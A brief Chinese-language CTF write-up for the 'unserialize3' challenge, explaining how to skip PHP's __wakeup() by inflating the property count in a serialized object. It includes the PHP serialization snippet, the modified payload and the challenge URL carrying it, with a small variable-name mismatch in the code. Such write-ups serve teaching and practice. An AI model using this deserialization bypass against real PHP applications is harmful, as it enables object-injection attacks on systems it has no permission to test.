unserialize3解题思路
描述:无
思路:打开页面是一段代码,代码审计走起,最重要的是这一个函数function __wakeup(),配合题目unserialize想到PHP的序列化和反序列化
php反序列化:执行unserialize()时,先会调用__wakeup(),当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
解题方法:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$acb = new xctf(); //new实例化xctf对象为abc
echo(serialize($abc)); //输出被序列化的对象abc
?>
正常执行序列化的结果为O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
将xctf类的属性值修改触发反序列化异常跳过__wakeup(),将值传入code得到flag,所以将O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}修改为O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
将参数传入code:
http://220.249.52.133:45480?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
得到flag